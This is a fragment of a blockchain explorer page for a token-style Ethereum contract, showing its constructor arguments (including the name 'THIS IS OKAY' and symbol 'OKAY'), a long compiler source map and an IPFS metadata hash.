Arg [2] : redist_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : mico_ (uint256): 10275586355124963283106963826597621110380668079194774757881778543913628656480

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 16b7c6991a7e7cf91a713a136aca5c7008a553cfbbd5dffefd6bc4ad3a24e360
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 54484953204953204f4b41590000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4f4b415900000000000000000000000000000000000000000000000000000000

201:10777:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1094:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3453:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2222:108::-;;;:::i;:::-;;;;;;;:::i;4234:261::-;;;;;;:::i;:::-;;:::i;2065:92::-;;;:::i;:::-;;;;;;;:::i;4904:238::-;;;;;;:::i;:::-;;:::i;2393:127::-;;;;;;:::i;:::-;;:::i;6089:719::-;;;;;;:::i;:::-;;:::i;:::-;;980:87:3;;;:::i;:::-;;;;;;;:::i;1313:104:2:-;;;:::i;5645:436::-;;;;;;:::i;:::-;;:::i;2726:193::-;;;;;;:::i;:::-;;:::i;2982:151::-;;;;;;:::i;:::-;;:::i;1094:100::-;1148:13;1181:5;1174:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1094:100;:::o;3453:201::-;3536:4;3553:13;3569:12;:10;:12::i;:::-;3553:28;;3592:32;3601:5;3608:7;3617:6;3592:8;:32::i;:::-;-1:-1:-1;3642:4:2;;3453:201;-1:-1:-1;;;3453:201:2:o;2222:108::-;2310:12;;2222:108;:::o;4234:261::-;4331:4;4348:15;4366:12;:10;:12::i;:::-;4348:30;;4389:38;4405:4;4411:7;4420:6;4389:15;:38::i;:::-;4438:27;4448:4;4454:2;4458:6;4438:9;:27::i;:::-;-1:-1:-1;4483:4:2;;4234:261;-1:-1:-1;;;;4234:261:2:o;2065:92::-;2148:1;2065:92;:::o;4904:238::-;4992:4;5009:13;5025:12;:10;:12::i;:::-;5009:28;;5048:64;5057:5;5064:7;5101:10;5073:25;5083:5;5090:7;5073:9;:25::i;:::-;:38;;;;:::i;:::-;5048:8;:64::i;2393:127::-;-1:-1:-1;;;;;2494:18:2;;2467:7;2494:18;;;:9;:18;;;;;;2393:127;;;;:::o;6089:719::-;6160:9;6171:11;6184;6199:40;6213:6;;6220:1;6213:9;;;;;-1:-1:-1;;;6213:9:2;;;;;;;;;;;;;;;6224:6;;6231:1;6224:9;;;;;-1:-1:-1;;;6224:9:2;;;;;;;;;;;;;;;6234:1;6236:2;6199:13;:40::i;:::-;6159:80;;;;;;6255:4;6250:18;;6261:7;;;;;6250:18;6312:67;6397:10;;6394:2;;6507:1;6500:14;;;6438:43;6515:15;;6569:2;6556:16;;6549:29;;;6394:2;6612:10;6609:2;;6684:1;6677:14;;;6653:23;6692:34;;6765:2;6752:16;;6671:1;6745:27;;6609:2;;6287:514;;;;;;:::o;980:87:3:-;1026:7;1053:6;-1:-1:-1;;;;;1053:6:3;980:87;:::o;1313:104:2:-;1369:13;1402:7;1395:14;;;;;:::i;5645:436::-;5738:4;5755:13;5771:12;:10;:12::i;:::-;5755:28;;5794:24;5821:25;5831:5;5838:7;5821:9;:25::i;:::-;5794:52;;5885:15;5865:16;:35;;5857:85;;;;-1:-1:-1;;;5857:85:2;;;;;;;:::i;:::-;;;;;;;;;5978:60;5987:5;5994:7;6022:15;6003:16;:34;5978:8;:60::i;2726:193::-;2805:4;2822:13;2838:12;:10;:12::i;:::-;2822:28;;2861;2871:5;2878:2;2882:6;2861:9;:28::i;2982:151::-;-1:-1:-1;;;;;3098:18:2;;;3071:7;3098:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2982:151::o;656:98:0:-;736:10;656:98;:::o;9369:346:2:-;-1:-1:-1;;;;;9471:19:2;;9463:68;;;;-1:-1:-1;;;9463:68:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;9550:21:2;;9542:68;;;;-1:-1:-1;;;9542:68:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;9623:18:2;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;9675:32;;;;;9653:6;;9675:32;:::i;:::-;;;;;;;;9369:346;;;:::o;10556:419::-;10657:24;10684:25;10694:5;10701:7;10684:9;:25::i;:::-;10657:52;;-1:-1:-1;;10724:16:2;:37;10720:248;;10806:6;10786:16;:26;;10778:68;;;;-1:-1:-1;;;10778:68:2;;;;;;;:::i;:::-;10890:51;10899:5;10906:7;10934:6;10915:16;:25;10890:8;:51::i;:::-;10556:419;;;;:::o;7499:767::-;-1:-1:-1;;;;;7596:18:2;;7588:68;;;;-1:-1:-1;;;7588:68:2;;;;;;;:::i;:::-;7669:17;7690:7;-1:-1:-1;;;;;7690:12:2;7759:4;7703:61;;;;;;;;:::i;:::-;;;;-1:-1:-1;;7703:61:2;;;;;;;;;;;;;;-1:-1:-1;;;;;7703:61:2;-1:-1:-1;;;7703:61:2;;;7690:75;;;7703:61;7690:75;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7667:98;;;7767:28;7784:4;7790;7767:16;:28::i;:::-;-1:-1:-1;;;;;7828:15:2;;7806:19;7828:15;;;:9;:15;;;;;;7862:21;;;;7854:72;;;;-1:-1:-1;;;7854:72:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;7962:15:2;;;;;;;:9;:15;;;;;;7980:20;;;7962:38;;8180:13;;;;;;;;;;:23;;;;;;8232:26;;;;;;7994:6;;8232:26;:::i;:::-;;;;;;;;7499:767;;;;;:::o;9723:539::-;9819:4;9825:7;9834;9855:11;9879:10;9855:34;;9901:18;9932:5;9901:36;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9939:28;9980:7;9939:48;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9999:11;10019:3;10013;:9;;;;:::i;:::-;:14;;10025:2;10013:14;:::i;:::-;9999:28;-1:-1:-1;10038:11:2;10064:2;10052:9;10058:3;10052;:9;:::i;:::-;:14;;;;:::i;:::-;10038:28;;10084:3;10080;:7;10089:1;10080:10;10077:33;;;10100:5;10106:1;10108;10092:18;;;;;;;;;;;;;10077:33;10124:7;10128:3;10124;:7;:::i;:::-;10133:2;10124:11;10121:35;;;10145:5;10151:1;10153:2;10137:19;;;;;;;;;;;;;10121:35;10226:17;;;:5;:17;;;;;;;10193:27;10226:17;;10193:27;;10204:3;;10209:4;;10215;;10193:27;;:::i;:::-;;;;;;;;;;;;;10183:38;;;;;;10175:47;;:68;10245:3;10250;10167:87;;;;;;;;;;;9723:539;;;;;;;;;:::o;6816:212::-;6952:4;6942:15;;;6936:22;-1:-1:-1;;;;;6978:13:2;;6901;6978;;;:5;:13;;;;;;;;6995:1;6978:18;;;:41;;-1:-1:-1;7000:19:2;;;6978:41;6970:50;;;;;;6816:212;;;:::o;14:175:4:-;84:20;;-1:-1:-1;;;;;133:31:4;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:4:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:4:o;1294:666::-;;;1441:2;1429:9;1420:7;1416:23;1412:32;1409:2;;;1462:6;1454;1447:22;1409:2;1507:9;1494:23;1536:18;1577:2;1569:6;1566:14;1563:2;;;1598:6;1590;1583:22;1563:2;1641:6;1630:9;1626:22;1616:32;;1686:7;1679:4;1675:2;1671:13;1667:27;1657:2;;1713:6;1705;1698:22;1657:2;1758;1745:16;1784:2;1776:6;1773:14;1770:2;;;1805:6;1797;1790:22;1770:2;1864:7;1859:2;1853;1845:6;1841:15;1837:2;1833:24;1829:33;1826:46;1823:2;;;1890:6;1882;1875:22;1823:2;1926;1918:11;;;;;1948:6;;-1:-1:-1;1399:561:4;;-1:-1:-1;;;;1399:561:4:o;1965:260::-;;2047:5;2041:12;2074:6;2069:3;2062:19;2090:63;2146:6;2139:4;2134:3;2130:14;2123:4;2116:5;2112:16;2090:63;:::i;:::-;2207:2;2186:15;-1:-1:-1;;2182:29:4;2173:39;;;;2214:4;2169:50;;2017:208;-1:-1:-1;;2017:208:4:o;2230:274::-;;2397:6;2391:13;2413:53;2459:6;2454:3;2447:4;2439:6;2435:17;2413:53;:::i;:::-;2482:16;;;;;2367:137;-1:-1:-1;;2367:137:4:o;2509:203::-;-1:-1:-1;;;;;2673:32:4;;;;2655:51;;2643:2;2628:18;;2610:102::o;2717:484::-;-1:-1:-1;;;;;2942:32:4;;2924:51;;3011:2;3006;2991:18;;2984:30;;;2717:484;;3037:47;;3065:18;;3057:6;3037:47;:::i;:::-;3132:9;3124:6;3120:22;3115:2;3104:9;3100:18;3093:50;3160:35;3188:6;3180;3160:35;:::i;:::-;3152:43;2914:287;-1:-1:-1;;;;;;2914:287:4:o;3206:187::-;3371:14;;3364:22;3346:41;;3334:2;3319:18;;3301:92::o;3398:222::-;;3547:2;3536:9;3529:21;3567:47;3610:2;3599:9;3595:18;3587:6;3567:47;:::i;3625:398::-;3827:2;3809:21;;;3866:2;3846:18;;;3839:30;3905:34;3900:2;3885:18;;3878:62;-1:-1:-1;;;3971:2:4;3956:18;;3949:32;4013:3;3998:19;;3799:224::o;4028:353::-;4230:2;4212:21;;;4269:2;4249:18;;;4242:30;4308:31;4303:2;4288:18;;4281:59;4372:2;4357:18;;4202:179::o;4386:402::-;4588:2;4570:21;;;4627:2;4607:18;;;4600:30;4666:34;4661:2;4646:18;;4639:62;-1:-1:-1;;;4732:2:4;4717:18;;4710:36;4778:3;4763:19;;4560:228::o;4793:401::-;4995:2;4977:21;;;5034:2;5014:18;;;5007:30;5073:34;5068:2;5053:18;;5046:62;-1:-1:-1;;;5139:2:4;5124:18;;5117:35;5184:3;5169:19;;4967:227::o;5199:400::-;5401:2;5383:21;;;5440:2;5420:18;;;5413:30;5479:34;5474:2;5459:18;;5452:62;-1:-1:-1;;;5545:2:4;5530:18;;5523:34;5589:3;5574:19;;5373:226::o;5604:401::-;5806:2;5788:21;;;5845:2;5825:18;;;5818:30;5884:34;5879:2;5864:18;;5857:62;-1:-1:-1;;;5950:2:4;5935:18;;5928:35;5995:3;5980:19;;5778:227::o;6010:177::-;6156:25;;;6144:2;6129:18;;6111:76::o;6192:184::-;6364:4;6352:17;;;;6334:36;;6322:2;6307:18;;6289:87::o;6381:128::-;;6452:1;6448:6;6445:1;6442:13;6439:2;;;6458:18;;:::i;:::-;-1:-1:-1;6494:9:4;;6429:80::o;6514:168::-;;6620:1;6616;6612:6;6608:14;6605:1;6602:21;6597:1;6590:9;6583:17;6579:45;6576:2;;;6627:18;;:::i;:::-;-1:-1:-1;6667:9:4;;6566:116::o;6687:125::-;;6755:1;6752;6749:8;6746:2;;;6760:18;;:::i;:::-;-1:-1:-1;6797:9:4;;6736:76::o;6817:258::-;6889:1;6899:113;6913:6;6910:1;6907:13;6899:113;;;6989:11;;;6983:18;6970:11;;;6963:39;6935:2;6928:10;6899:113;;;7030:6;7027:1;7024:13;7021:2;;;-1:-1:-1;;7065:1:4;7047:16;;7040:27;6870:205::o;7080:380::-;7165:1;7155:12;;7212:1;7202:12;;;7223:2;;7277:4;7269:6;7265:17;7255:27;;7223:2;7330;7322:6;7319:14;7299:18;7296:38;7293:2;;;7376:10;7371:3;7367:20;7364:1;7357:31;7411:4;7408:1;7401:15;7439:4;7436:1;7429:15;7293:2;;7135:325;;;:::o;7465:127::-;7526:10;7521:3;7517:20;7514:1;7507:31;7557:4;7554:1;7547:15;7581:4;7578:1;7571:15

ipfs://75719a2a5a861e785f4937e6a7662472b5d145f9e042ed1c8913a70a066501ea